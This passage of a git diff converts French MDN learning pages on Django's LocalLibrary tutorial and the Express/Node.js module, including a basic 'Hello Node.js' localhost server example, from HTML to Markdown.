vous serez suffisamment autonome pour développer vos propres applications avec Django. -<p>Cet exemple a été soigneusement choisi car il permet de progresser en montrant nombre de détails et abordre presque toutes les fonctionnalités de Django. De plus, cet exemple permet d'appréhender progressivement les fonctionnalités les plus importantes du quadriciel :</p> +## Le site web de la "Bibliothèque locale" -<ul> - <li>Une première étape consistera à définir un catalogue simple qui permet aux utilisateurs de consulter les ouvrages disponibles. Cela combine les schémas classiques et les opérations communes à la plupart de ce type de sites : lire et afficher le contenu d'une base de données...</li> - <li>La progression des différents articles permettra d'étudier des fonctions plus avancées du quadriciel. Par exemple, utiliser des formulaires et permettre aux utilisateurs de réserver leurs ouvrages, ceci conduit à mettre en place et utiliser la gestion des utilisateurs et de l'authentification.</li> -</ul> +La _LocalLibrary_ (Bibliothèque locale) est le nom du site web qui va être créer et qui évoluera tout au long de cette série didatcique. La finalité de ce site web est de diffuser un catalogue des livres en ligne et de permettre aux utilisateurs de le parcourir et de gérer leur propre compte. -<p>Même s'il s'agit d'un sujet extensible, son sujet de <em>Bibliothèque <strong>locale</strong></em> est volontaire. Il s'agit d'aborder rapidement de nombreux sujets de Django en manipulant un minimum d'information. Il s'agit d'enregistrer localement les informations fictives sur les livres, copies, auteurs, etc. Il ne s'agit en aucun cas d'élaborer un produit qui gère, comme pourrait le faire une bibliothèque classique d'autres informations, ni gérer un réseau de bibliothèques comme cela pourrait être le cas avec une <em><strong>grande</strong> biblothèque</em>. </p> +Cet exemple a été soigneusement choisi car il permet de progresser en montrant nombre de détails et abordre presque toutes les fonctionnalités de Django. De plus, cet exemple permet d'appréhender progressivement les fonctionnalités les plus importantes du quadriciel : -<h2 id="Je_suis_coincé_où_puis-je_trouver_les_sources">Je suis coincé, où puis-je trouver les sources ?</h2> +- Une première étape consistera à définir un catalogue simple qui permet aux utilisateurs de consulter les ouvrages disponibles. Cela combine les schémas classiques et les opérations communes à la plupart de ce type de sites : lire et afficher le contenu d'une base de données... +- La progression des différents articles permettra d'étudier des fonctions plus avancées du quadriciel. Par exemple, utiliser des formulaires et permettre aux utilisateurs de réserver leurs ouvrages, ceci conduit à mettre en place et utiliser la gestion des utilisateurs et de l'authentification. -<p>Au fur et à mesure, les codes et commandes à écrire seront fournis. Ils peuvent être copiés et collés à chaque étapes. Il y aura aussi des codes que vous pourrez compléter avec quelques conseils.</p> +Même s'il s'agit d'un sujet extensible, son sujet de \*Bibliothèque **locale\*** est volontaire. Il s'agit d'aborder rapidement de nombreux sujets de Django en manipulant un minimum d'information. Il s'agit d'enregistrer localement les informations fictives sur les livres, copies, auteurs, etc. Il ne s'agit en aucun cas d'élaborer un produit qui gère, comme pourrait le faire une bibliothèque classique d'autres informations, ni gérer un réseau de bibliothèques comme cela pourrait être le cas avec une **\*grande** biblothèque\*. -<p>Si vous êtes coincé, vous pourrez trouver une version totalement développée du site sur<a href="https://github.com/mdn/django-locallibrary-tutorial"> Github</a> (<strong>Anglais</strong>).</p> +## Je suis coincé, où puis-je trouver les sources ? -<h2 id="Résumé">Résumé</h2> +Au fur et à mesure, les codes et commandes à écrire seront fournis. Ils peuvent être copiés et collés à chaque étapes. Il y aura aussi des codes que vous pourrez compléter avec quelques conseils. -<p>Vous en savez plus sur le projet <em>LocalLibrary</em> et ce que vous allez progressivement apprendre, il est désormais temps de créer le <a href="/fr/docs/Learn/Server-side/Django/skeleton_website">squellette du projet</a> qui hébergera la bibliothèque.</p> +Si vous êtes coincé, vous pourrez trouver une version totalement développée du site sur[ Github](https://github.com/mdn/django-locallibrary-tutorial) (**Anglais**). -<p>{{PreviousMenuNext("Learn/Server-side/Django/development_environment", "Learn/Server-side/Django/skeleton_website", "Learn/Server-side/Django")}}</p> +## Résumé +Vous en savez plus sur le projet _LocalLibrary_ et ce que vous allez progressivement apprendre, il est désormais temps de créer le [squellette du projet](/fr/docs/Learn/Server-side/Django/skeleton_website) qui hébergera la bibliothèque. +{{PreviousMenuNext("Learn/Server-side/Django/development_environment", "Learn/Server-side/Django/skeleton_website", "Learn/Server-side/Django")}} -<h2 id="Dans_ce_module">Dans ce module</h2> +## Dans ce module -<ul> - <li><a href="/fr/docs/Learn/Server-side/Django/Introduction">Django introduction</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/development_environment">Setting up a Django development environment</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Tutorial_local_library_website">Django Didactique: Site web "Bibliothèque locale"</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/skeleton_website">Django didactique Section 2: Créer le squelette du site web</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Models">Django didactique Section 3: Utilisation des modèles de données</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Admin_site">Django didactique Section 4 : Site d'administration de Django</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Home_page">Django didactique Section 5: Créer la page d'accueil</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Generic_views">Django Tutorial Part 6: Generic list and detail views</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Sessions">Django Tutorial Part 7: Sessions framework</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Authentication">Django Tutorial Part 8: User authentication and permissions</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Forms">Django Tutorial Part 9: Working with forms</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Testing">Django Tutorial Part 10: Testing a Django web application</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Deployment">Django Tutorial Part 11: Deploying Django to production</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/web_application_security">Django web application security</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a></li> -</ul> +- [Django introduction](/fr/docs/Learn/Server-side/Django/Introduction) +- [Setting up a Django development environment](/fr/docs/Learn/Server-side/Django/development_environment) +- [Django Didactique: Site web "Bibliothèque locale"](/fr/docs/Learn/Server-side/Django/Tutorial_local_library_website) +- [Django didactique Section 2: Créer le squelette du site web](/fr/docs/Learn/Server-side/Django/skeleton_website) +- [Django didactique Section 3: Utilisation des modèles de données](/fr/docs/Learn/Server-side/Django/Models) +- [Django didactique Section 4 : Site d'administration de Django](/fr/docs/Learn/Server-side/Django/Admin_site) +- [Django didactique Section 5: Créer la page d'accueil](/fr/docs/Learn/Server-side/Django/Home_page) +- [Django Tutorial Part 6: Generic list and detail views](/fr/docs/Learn/Server-side/Django/Generic_views) +- [Django Tutorial Part 7: Sessions framework](/fr/docs/Learn/Server-side/Django/Sessions) +- [Django Tutorial Part 8: User authentication and permissions](/fr/docs/Learn/Server-side/Django/Authentication) +- [Django Tutorial Part 9: Working with forms](/fr/docs/Learn/Server-side/Django/Forms) +- [Django Tutorial Part 10: Testing a Django web application](/fr/docs/Learn/Server-side/Django/Testing) +- [Django Tutorial Part 11: Deploying Django to production](/fr/docs/Learn/Server-side/Django/Deployment) +- [Django web application security](/fr/docs/Learn/Server-side/Django/web_application_security) +- [DIY Django mini blog](/fr/docs/Learn/Server-side/Django/django_assessment_blog) diff --git a/files/fr/learn/server-side/express_nodejs/index.md b/files/fr/learn/server-side/express_nodejs/index.md index abd2352b57..a900bb47bb 100644 --- a/files/fr/learn/server-side/express_nodejs/index.md +++ b/files/fr/learn/server-side/express_nodejs/index.md @@ -14,53 +14,47 @@ tags: - node.js translation_of: Learn/Server-side/Express_Nodejs --- -<div>{{LearnSidebar}}</div> - -<p>Express est une infrastructure d'application (framework), écrit en JavaScript et hébergée dans l'environnement d'exécution node.js. Cette section explique certains de ses principaux avantages, comment configurer votre environnement de développement et comment effectuer des tâches courantes de développement et de déploiement.</p> - -<h2 id="prerequisites">Prérequis</h2> - -<p>Avant d'aller plus loin, vous devrez avoir compris ce qu'est la programmation côté serveur et le concept de "framework", idéalement en ayant lu notre article <a href="/fr/docs/Learn/Server-side/First_steps">Premiers pas en programmation côté-serveur</a>. Une connaissance générale des concepts de programmation et du <a href="/fr/docs/Web/JavaScript">JavaScript</a> est vivement recommandée, sans pour autant être essentielle à la compréhension des concepts fondamentaux.</p> - -<div class="note"> -<p><strong>Note :</strong> Le site MDN possède de nombreuses ressources utiles pour apprendre JavaScript dans le contexte du <em>développement côté client </em>: <a href="/fr/docs/Web/JavaScript">Référence JavaScript</a>, <a href="/fr/docs/Web/JavaScript/Guide">Guide JavaScript</a>, <a href="/fr/docs/Learn/Getting_started_with_the_web/JavaScript_basics">Les bases de JavaScript</a>, <a href="/fr/docs/Learn/JavaScript">Apprendre JavaScript</a>. Le noyau du langage et les principaux concepts de JavaScript sont les mêmes que pour le développement côté serveur sur Node.js, il est donc important d'avoir déjà une bonne compréhension de JavaScript avant de continuer. Node.js offre des <a href="https://nodejs.org/dist/latest/docs/api/">API supplémentaires</a> pour supporter des fonctionnalités utiles dans des environnements sans navigateur, par ex. pour créer des serveurs HTTP et accéder au système de fichiers, mais ne prend pas en charge les API JavaScript pour travailler avec le navigateur et le DOM.</p> - -<p>Ce guide vous fournira des informations sur l'utilisation de Node.js et Express, et contient de nombreuses références à d'autres excellentes ressources sur Internet et dans des livres — dont des liens depuis <a href="https://stackoverflow.com/questions/2353818/how-do-i-get-started-with-node-js/5511507#5511507">How do I get started with Node.js</a> (StackOverflow) et <a href="https://www.quora.com/What-are-the-best-resources-for-learning-Node-js?">What are the best resources for learning Node.js?</a> (Quora).</p> -</div> - -<h2 id="guides">Guides</h2> - -<dl> - <dt><a href="/fr/docs/Learn/Server-side/Express_Nodejs/Introduction">Introduction à Express/Node</a></dt> - <dd>Dans ce premier article sur Express nous répondons aux questions « Qu'est-ce que Node ? » et « Qu'est-ce qu'Express ? » et donnerons une vue d'ensemble de ce qui rend cette infrastructure d'application Express si spéciale. Nous décrirons les principales fonctionnalités et montrerons quelques-uns des principaux éléments constitutifs d'une application Express (bien qu'à ce stade, vous n'aurez pas encore un environnement de développement dans lequel la tester)</dd> - <dt><a href="/fr/docs/Learn/Server-side/Express_Nodejs/development_environment">Installer un environnement de développement pour Node (Express)</a></dt> - <dd>Maintenant que nous savons à quoi sert Express, nous allons vous apprendre à installer et tester un environnement de développement Node/Express sur Windows, Linux (Ubuntu), et macOS. Quel que soit votre système d'exploitation, cet article devrait vous fournir le nécessaire pour commencer le développement d'applications Express.</dd> - <dt><a href="/fr/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">Tutoriel Express : le site d'une bibliothèque locale</a></dt> - <dd>Le premier article de notre série de tutoriels explique ce que vous allez apprendre et fournit l'aperçu d'un exemple de site pour une bibliothèque municipale locale. Nous ferons évoluer cet exemple au fur et à mesure des articles suivants.</dd> - <dt><a href="/fr/docs/Learn/Server-side/Express_Nodejs/skeleton_website">2<sup>e</sup> partie du tutoriel Express : création d'un squelette de site web</a></dt> - <dd>Cet article explique comment vous pouvez créer un « squelette » de projet de site web, que vous pouvez alors étoffer de routes spécifiques, de modèles de vues et de bases de données.</dd> - <dt><a href="/fr/docs/Learn/Server-side/Express_Nodejs/mongoose">3<sup>e</sup> partie du tutoriel Express : utilisation d'une base de données (avec Mongoose)</a></dt> - <dd>Cet article introduit brièvement le concept de base de données pour Node/Express. Il se poursuit en décrivant comment on peut utiliser <a href="http://mongoosejs.com/">Mongoose</a> pour fournir un accès à la base de données de notre site internet de bibliothèque locale. Il explique comment les schémas de données et les modèles sont déclarées, les types principaux des champs de données, et les validations de base. Il donne aussi un aperçu rapide de quelques moyens d'accéder aux données.</dd> - <dt><a href="/fr/docs/Learn/Server-side/Express_Nodejs/routes">4<sup>e</sup> partie du tutoriel Express : les routes et les contrôleurs</a></dt> - <dd>Dans ce tutoriel nous programmerons des routes (traitements des URL) avec des fonctions factices de traitement pour tous les points de sortie dont nous pourrions éventuellement avoir besoin pour notre site web de la bibliothèque locale. Nous obtiendrons ainsi une structure modulaire pour notre code de traitement par les routes, que nous pourrons étendre avec de vraies fonctions de traitement dans les articles suivants. Nous acquerrons de cette manière une réelle compréhension de la création modulaire des routes avec Express.</dd> - <dt><a href="/fr/docs/Learn/Server-side/Express_Nodejs/Displaying_data">5<sup>e</sup> partie du tutoriel Express : affichage des données de la bibliothèque</a></dt> - <dd>Nous sommes prêts maintenant à ajouter des pages qui afficheront les livres et autres données de notre bibliothèque locale sur son site internet. Ces pages incluront notamment une page d'accueil qui indiquera le nombre d'enregistrements pour chaque type de modèle de donnée, une liste et des pages de détail pour chacun de ces modèles. Chemin faisant, nous acquerrons de l'expérience dans la récupération des données depuis la base, et l'utilisation des modèles de vue (<em>templates</em>).</dd> - <dt><a href="/fr/docs/Learn/Server-side/Express_Nodejs/forms">6<sup>e</sup> partie du tutoriel Express : travail avec les formulaires</a></dt> - <dd>Dans ce tutoriel nous verrons comment travailler avec les <a href="/fr/docs/Learn/Forms">formulaires HTML</a> dans Express, à l'aide de Pug, et en particulier comment concevoir des formulaires pour créer, actualiser et détruire des documents dans la base de données.</dd> - <dt><a href="/fr/docs/Learn/Server-side/Express_Nodejs/deployment">7<sup>e</sup> partie du tutoriel Express : déploiement de l'application en production</a></dt> - <dd>Maintenant que nous avons créé un fantastique site internet pour notre bibliothèque locale, nous allons vouloir installer le serveur du site public pour qu'il soit accessible par les employés de la bibliothèque et les adhérents depuis n'importe où par le Net. Cet article fournit un aperçu de comment trouver un hébergement pour déployer son site web et ce que vous avez à faire pour préparer votre site à la production.</dd> -</dl> - -<h2 id="adding_more_tutorials">Ajout de tutoriels</h2> - -<p>Tous les tutoriaux de ce module sont listés ci-avant, si vous souhaitez compléter ce module, vous pouvez contribuer avec d'autres tutoriels, notamment sur :</p> - -<ul> - <li>l'utilisation des sessions ;</li> - <li>l'authentification des utilisateurs ;</li> - <li>la gestion des autorisations des utilisateurs et leurs privilèges ;</li> - <li>le test d'une application web Express ;</li> - <li>les applications web Express et sécurité.</li> -</ul> - -<p>Et bien sûr, il serait excellent d'avoir une évaluation !</p>
\ No newline at end of file +{{LearnSidebar}} + +Express est une infrastructure d'application (framework), écrit en JavaScript et hébergée dans l'environnement d'exécution node.js. Cette section explique certains de ses principaux avantages, comment configurer votre environnement de développement et comment effectuer des tâches courantes de développement et de déploiement. + +## Prérequis + +Avant d'aller plus loin, vous devrez avoir compris ce qu'est la programmation côté serveur et le concept de "framework", idéalement en ayant lu notre article [Premiers pas en programmation côté-serveur](/fr/docs/Learn/Server-side/First_steps). Une connaissance générale des concepts de programmation et du [JavaScript](/fr/docs/Web/JavaScript) est vivement recommandée, sans pour autant être essentielle à la compréhension des concepts fondamentaux. + +> **Note :** Le site MDN possède de nombreuses ressources utiles pour apprendre JavaScript dans le contexte du _développement côté client_ : [Référence JavaScript](/fr/docs/Web/JavaScript), [Guide JavaScript](/fr/docs/Web/JavaScript/Guide), [Les bases de JavaScript](/fr/docs/Learn/Getting_started_with_the_web/JavaScript_basics), [Apprendre JavaScript](/fr/docs/Learn/JavaScript). Le noyau du langage et les principaux concepts de JavaScript sont les mêmes que pour le développement côté serveur sur Node.js, il est donc important d'avoir déjà une bonne compréhension de JavaScript avant de continuer. Node.js offre des [API supplémentaires](https://nodejs.org/dist/latest/docs/api/) pour supporter des fonctionnalités utiles dans des environnements sans navigateur, par ex. pour créer des serveurs HTTP et accéder au système de fichiers, mais ne prend pas en charge les API JavaScript pour travailler avec le navigateur et le DOM. +> +> Ce guide vous fournira des informations sur l'utilisation de Node.js et Express, et contient de nombreuses références à d'autres excellentes ressources sur Internet et dans des livres — dont des liens depuis [How do I get started with Node.js](https://stackoverflow.com/questions/2353818/how-do-i-get-started-with-node-js/5511507#5511507) (StackOverflow) et [What are the best resources for learning Node.js?](https://www.quora.com/What-are-the-best-resources-for-learning-Node-js?) (Quora). + +## Guides + +- [Introduction à Express/Node](/fr/docs/Learn/Server-side/Express_Nodejs/Introduction) + - : Dans ce premier article sur Express nous répondons aux questions « Qu'est-ce que Node ? » et « Qu'est-ce qu'Express ? » et donnerons une vue d'ensemble de ce qui rend cette infrastructure d'application Express si spéciale. Nous décrirons les principales fonctionnalités et montrerons quelques-uns des principaux éléments constitutifs d'une application Express (bien qu'à ce stade, vous n'aurez pas encore un environnement de développement dans lequel la tester) +- [Installer un environnement de développement pour Node (Express)](/fr/docs/Learn/Server-side/Express_Nodejs/development_environment) + - : Maintenant que nous savons à quoi sert Express, nous allons vous apprendre à installer et tester un environnement de développement Node/Express sur Windows, Linux (Ubuntu), et macOS. Quel que soit votre système d'exploitation, cet article devrait vous fournir le nécessaire pour commencer le développement d'applications Express. +- [Tutoriel Express : le site d'une bibliothèque locale](/fr/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website) + - : Le premier article de notre série de tutoriels explique ce que vous allez apprendre et fournit l'aperçu d'un exemple de site pour une bibliothèque municipale locale. Nous ferons évoluer cet exemple au fur et à mesure des articles suivants. +- [2<sup>e</sup> partie du tutoriel Express : création d'un squelette de site web](/fr/docs/Learn/Server-side/Express_Nodejs/skeleton_website) + - : Cet article explique comment vous pouvez créer un « squelette » de projet de site web, que vous pouvez alors étoffer de routes spécifiques, de modèles de vues et de bases de données. +- [3<sup>e</sup> partie du tutoriel Express : utilisation d'une base de données (avec Mongoose)](/fr/docs/Learn/Server-side/Express_Nodejs/mongoose) + - : Cet article introduit brièvement le concept de base de données pour Node/Express. Il se poursuit en décrivant comment on peut utiliser [Mongoose](http://mongoosejs.com/) pour fournir un accès à la base de données de notre site internet de bibliothèque locale. Il explique comment les schémas de données et les modèles sont déclarées, les types principaux des champs de données, et les validations de base. Il donne aussi un aperçu rapide de quelques moyens d'accéder aux données. +- [4<sup>e</sup> partie du tutoriel Express : les routes et les contrôleurs](/fr/docs/Learn/Server-side/Express_Nodejs/routes) + - : Dans ce tutoriel nous programmerons des routes (traitements des URL) avec des fonctions factices de traitement pour tous les points de sortie dont nous pourrions éventuellement avoir besoin pour notre site web de la bibliothèque locale. Nous obtiendrons ainsi une structure modulaire pour notre code de traitement par les routes, que nous pourrons étendre avec de vraies fonctions de traitement dans les articles suivants. Nous acquerrons de cette manière une réelle compréhension de la création modulaire des routes avec Express. +- [5<sup>e</sup> partie du tutoriel Express : affichage des données de la bibliothèque](/fr/docs/Learn/Server-side/Express_Nodejs/Displaying_data) + - : Nous sommes prêts maintenant à ajouter des pages qui afficheront les livres et autres données de notre bibliothèque locale sur son site internet. Ces pages incluront notamment une page d'accueil qui indiquera le nombre d'enregistrements pour chaque type de modèle de donnée, une liste et des pages de détail pour chacun de ces modèles. Chemin faisant, nous acquerrons de l'expérience dans la récupération des données depuis la base, et l'utilisation des modèles de vue (_templates_). +- [6<sup>e</sup> partie du tutoriel Express : travail avec les formulaires](/fr/docs/Learn/Server-side/Express_Nodejs/forms) + - : Dans ce tutoriel nous verrons comment travailler avec les [formulaires HTML](/fr/docs/Learn/Forms) dans Express, à l'aide de Pug, et en particulier comment concevoir des formulaires pour créer, actualiser et détruire des documents dans la base de données. +- [7<sup>e</sup> partie du tutoriel Express : déploiement de l'application en production](/fr/docs/Learn/Server-side/Express_Nodejs/deployment) + - : Maintenant que nous avons créé un fantastique site internet pour notre bibliothèque locale, nous allons vouloir installer le serveur du site public pour qu'il soit accessible par les employés de la bibliothèque et les adhérents depuis n'importe où par le Net. Cet article fournit un aperçu de comment trouver un hébergement pour déployer son site web et ce que vous avez à faire pour préparer votre site à la production. + +## Ajout de tutoriels + +Tous les tutoriaux de ce module sont listés ci-avant, si vous souhaitez compléter ce module, vous pouvez contribuer avec d'autres tutoriels, notamment sur : + +- l'utilisation des sessions ; +- l'authentification des utilisateurs ; +- la gestion des autorisations des utilisateurs et leurs privilèges ; +- le test d'une application web Express ; +- les applications web Express et sécurité. + +Et bien sûr, il serait excellent d'avoir une évaluation ! diff --git a/files/fr/learn/server-side/express_nodejs/introduction/index.md b/files/fr/learn/server-side/express_nodejs/introduction/index.md index 4f8719e813..378a85ce83 100644 --- a/files/fr/learn/server-side/express_nodejs/introduction/index.md +++ b/files/fr/learn/server-side/express_nodejs/introduction/index.md @@ -11,194 +11,207 @@ tags: - server-side translation_of: Learn/Server-side/Express_Nodejs/Introduction --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{NextMenu("Learn/Server-side/Express_Nodejs/development_environment", "Learn/Server-side/Express_Nodejs")}} -<div>{{NextMenu("Learn/Server-side/Express_Nodejs/development_environment", "Learn/Server-side/Express_Nodejs")}}</div> - -<p>Dans ce tout premier article consacré à Express, nous répondons aux questions « Qu'est-ce que Node ? » et « Qu'est-ce que Express ? », et vous donnons un aperçu de ce qui fait d'Express un framework web si spécial. Nous décrivons les principales fonctionnalités et montrons quelques-uns des principaux composants d'une application Express (bien que vous ne disposiez pas encore d'un environnement de développement pour le tester).</p> +Dans ce tout premier article consacré à Express, nous répondons aux questions « Qu'est-ce que Node ? » et « Qu'est-ce que Express ? », et vous donnons un aperçu de ce qui fait d'Express un framework web si spécial. Nous décrivons les principales fonctionnalités et montrons quelques-uns des principaux composants d'une application Express (bien que vous ne disposiez pas encore d'un environnement de développement pour le tester). <table class="standard-table"> <tbody> <tr> - <th scope="row">Prérequis :</th> - <td>Une culture de base en informatique, une compréhension globale de la <a href="/fr/docs/Learn/Server-side/First_steps">programmation côté serveur</a> et, en particulier, les mécanismes d'<a href="/fr/docs/Learn/Server-side/First_steps/Client-Server_overview">interactions client-serveur dans un site web.</a></td> + <th scope="row">Prérequis :</th> + <td> + Une culture de base en informatique, une compréhension globale de la + <a href="/fr/docs/Learn/Server-side/First_steps" + >programmation côté serveur</a + > + et, en particulier, les mécanismes d'<a + href="/fr/docs/Learn/Server-side/First_steps/Client-Server_overview" + >interactions client-serveur dans un site web.</a + > + </td> </tr> <tr> - <th scope="row">Objectif :</th> - <td>Devenir familier avec ce qu'est Express et comment il s'intègre dans Node, les fonctionnalités qu'il apporte, et les principales étapes pour construire une application Express.</td> + <th scope="row">Objectif :</th> + <td> + Devenir familier avec ce qu'est Express et comment il s'intègre dans + Node, les fonctionnalités qu'il apporte, et les principales étapes pour + construire une application Express. + </td> </tr> </tbody> </table> -<h2 id="introducing_node">Introduction à Node</h2> +## Introduction à Node + +[Node](https://nodejs.org/) (ou plus formellement _Node.js_) est un environnement d'exécution open-source, multi-plateforme, qui permet aux développeuses et développeurs de créer toutes sortes d'applications et d'outils côté serveur en [JavaScript](/fr/docs/Glossary/JavaScript). Cet environnement est destiné à être utilisé en dehors du navigateur (il s'exécute directement sur son ordinateur ou dans le système d'exploitation du serveur). Aussi, Node ne permet pas d'utiliser les API JavaScript liées au navigateur mais des API plus traditionnellement utilisées sur un serveur dont notamment celles pour HTTP ou la manipulation de systèmes de fichier. + +Dans une perspective de développement de serveur web, Node présente un certain nombre d'avantages : + +- D'excellentes performances ! Node a été créé pour optimiser le rendement et l'évolution des applications web. Il s'agit d'une bonne solution à de nombreux problèmes de développement web (par exemple, les applications en temps réel). +- Le code est intégralement écrit en JavaScript ce qui signifie que l'on dépense moins d'énergie à basculer d'un langage à l'autre quand on code côté client et côté serveur. +- Le JavaScript est un langage de programmation plutôt récent et bénéficie encore d'améliorations dans sa conception en comparaison à d'autres langages web côté serveur (Python, PHP, etc.). Beaucoup d'autres langages nouveaux et populaires compilent/convertissent en JavaScript pour pouvoir utiliser TypeScript, CoffeeScript, ClojureScript, Scala, LiveScript, etc. +- Le gestionnaire de paquets (NPM) offre l'accès à des milliers de bibliothèques réutilisables. Il dispose d'une excellente résolution de dépendances et peut être utilisé pour automatiser la plupart des chaines de compilation. +- Node.js est portable. Il est disponible sous Microsoft Windows, macOS, Linux, etc. De plus, il est bien supporté par beaucoup d'hébergeurs web qui fournissent souvent une infrastructure spécifique et une documentation pour héberger des sites Node. +- Node possède une communauté et un écosystème très dynamiques eavec beaucoup de gens désireux d'aider. + +Vous pouvez utiliser Node.js pour créer un simple serveur web en utilisant l'API Node HTTP. -<p><a href="https://nodejs.org/">Node</a> (ou plus formellement <em>Node.js</em>) est un environnement d'exécution open-source, multi-plateforme, qui permet aux développeuses et développeurs de créer toutes sortes d'applications et d'outils côté serveur en <a href="/fr/docs/Glossary/JavaScript">JavaScript</a>. Cet environnement est destiné à être utilisé en dehors du navigateur (il s'exécute directement sur son ordinateur ou dans le système d'exploitation du serveur). Aussi, Node ne permet pas d'utiliser les API JavaScript liées au navigateur mais des API plus traditionnellement utilisées sur un serveur dont notamment celles pour HTTP ou la manipulation de systèmes de fichier.</p> +### Hello Node.js -<p>Dans une perspective de développement de serveur web, Node présente un certain nombre d'avantages :</p> +L'exemple qui suit crée un serveur web qui écoute toutes sortes de requêtes HTTP sur l'URL `https://127.0.0.1:8000/`. Quand une requête est reçue, le script répond avec la chaine « Salut tout le monde ». Si vous avez déjà installé Node, suivez les étapes de l'exemple suivant : -<ul> - <li>D'excellentes performances ! Node a été créé pour optimiser le rendement et l'évolution des applications web. Il s'agit d'une bonne solution à de nombreux problèmes de développement web (par exemple, les applications en temps réel).</li> - <li>Le code est intégralement écrit en JavaScript ce qui signifie que l'on dépense moins d'énergie à basculer d'un langage à l'autre quand on code côté client et côté serveur.</li> - <li>Le JavaScript est un langage de programmation plutôt récent et bénéficie encore d'améliorations dans sa conception en comparaison à d'autres langages web côté serveur (Python, PHP, etc.). Beaucoup d'autres langages nouveaux et populaires compilent/convertissent en JavaScript pour pouvoir utiliser TypeScript, CoffeeScript, ClojureScript, Scala, LiveScript, etc.</li> - <li>Le gestionnaire de paquets (NPM) offre l'accès à des milliers de bibliothèques réutilisables. Il dispose d'une excellente résolution de dépendances et peut être utilisé pour automatiser la plupart des chaines de compilation.</li> - <li>Node.js est portable. Il est disponible sous Microsoft Windows, macOS, Linux, etc. De plus, il est bien supporté par beaucoup d'hébergeurs web qui fournissent souvent une infrastructure spécifique et une documentation pour héberger des sites Node.</li> - <li>Node possède une communauté et un écosystème très dynamiques eavec beaucoup de gens désireux d'aider.</li> -</ul> +1. Ouvrez un terminal (sur Windows, ouvrez l'invite de commande (cmd)), +2. Créez le dossier où vous voulez sauvegarder le programme, appelez-le par exemple `test-node` et placez-vous dedans en utilisant la commande suivante dans votre console : -<p>Vous pouvez utiliser Node.js pour créer un simple serveur web en utilisant l'API Node HTTP.</p> + cd test-node -<h3 id="hello_node.js">Hello Node.js</h3> +3. Dans votre éditeur de texte favori, créez un fichier nommé `"hello.js"` et collez ce qui suit dedans : -<p>L'exemple qui suit crée un serveur web qui écoute toutes sortes de requêtes HTTP sur l'URL <code>https://127.0.0.1:8000/</code>. Quand une requête est reçue, le script répond avec la chaine « Salut tout le monde ». Si vous avez déjà installé Node, suivez les étapes de l'exemple suivant :</p> + ```js + // Charge le module HTTP + const http = require("http"); -<ol> - <li>Ouvrez un terminal (sur Windows, ouvrez l'invite de commande (cmd)),</li> - <li>Créez le dossier où vous voulez sauvegarder le programme, appelez-le par exemple <code>test-node</code> et placez-vous dedans en utilisant la commande suivante dans votre console : - <pre>cd test-node</pre></li> - <li>Dans votre éditeur de texte favori, créez un fichier nommé <code>"hello.js"</code> et collez ce qui suit dedans : - <pre class="brush: js">// Charge le module HTTP -const http = require("http"); + const hostname = "127.0.0.1"; + const port = 8000; -const hostname = "127.0.0.1"; -const port = 8000; + // Crée un serveur HTTP + const server = http.createServer((req, res) => { -// Crée un serveur HTTP -const server = http.createServer((req, res) => { + // Configure l'en-tête de la réponse HTTP + // avec le code du statut et le type de contenu + res.writeHead(200, {'Content-Type': 'text/plain'}); - // Configure l'en-tête de la réponse HTTP - // avec le code du statut et le type de contenu - res.writeHead(200, {'Content-Type': 'text/plain'}); + // Envoie le corps de la réponse « Salut tout le monde » + res.end('Salut tout le monde\n'); + }) - // Envoie le corps de la réponse « Salut tout le monde » - res.end('Salut tout le monde\n'); -}) + // Démarre le serveur à l'adresse 127.0.0.1 sur le port 8000 + // Affiche un message dès que le serveur commence à écouter les requêtes + server.listen(port, hostname, () => { + console.log(`Le serveur tourne à l'adresse https://${hostname}:${port}/`); + }) + ``` -// Démarre le serveur à l'adresse 127.0.0.1 sur le port 8000 -// Affiche un message dès que le serveur commence à écouter les requêtes -server.listen(port, hostname, () => { - console.log(`Le serveur tourne à l'adresse https://${hostname}:${port}/`); -})</pre></li> - <li>Sauvegardez le fichier dans le dossier créé plus haut.</li> - <li>Retournez au terminal et tapez : - <pre class="brush: bash">node hello.js</pre> - </li> -</ol> +4. Sauvegardez le fichier dans le dossier créé plus haut. +5. Retournez au terminal et tapez : -<p>Puis saisissez l'URL <code>"https://localhost:8000"</code> dans votre navigateur. Vous devriez alors voir "<strong>Salut tout le monde</strong>" en haut à gauche d'une page web ne contenant rien d'autre que ce texte.</p> + ```bash + node hello.js + ``` -<h2 id="web_frameworks">Les frameworks web</h2> +Puis saisissez l'URL `"https://localhost:8000"` dans votre navigateur. Vous devriez alors voir "**Salut tout le monde**" en haut à gauche d'une page web ne contenant rien d'autre que ce texte. -<p>D'autres tâches de développement web ne sont pas directement prises en charge par Node de façon native. Si vous voulez ajouter différentes manipulations pour divers requêtes HTTP (<code>GET</code>, <code>POST</code>, <code>DELETE</code>, etc.), gérer différemment des requêtes vers plusieurs chemins URL ("routes"), servir des pages statiques ou utiliser des modèles pour créer dynamiquement la réponse, alors vous devrez écrire tout le code vous-même ou, pour éviter de réinventer la roue, vous servir des cadres applicatifs web (frameworks).</p> +## Les frameworks web -<h2 id="introducing_express">Introduction à Express</h2> +D'autres tâches de développement web ne sont pas directement prises en charge par Node de façon native. Si vous voulez ajouter différentes manipulations pour divers requêtes HTTP (`GET`, `POST`, `DELETE`, etc.), gérer différemment des requêtes vers plusieurs chemins URL ("routes"), servir des pages statiques ou utiliser des modèles pour créer dynamiquement la réponse, alors vous devrez écrire tout le code vous-même ou, pour éviter de réinventer la roue, vous servir des cadres applicatifs web (frameworks). -<p><a href="https://expressjs.com/">Express</a> est le 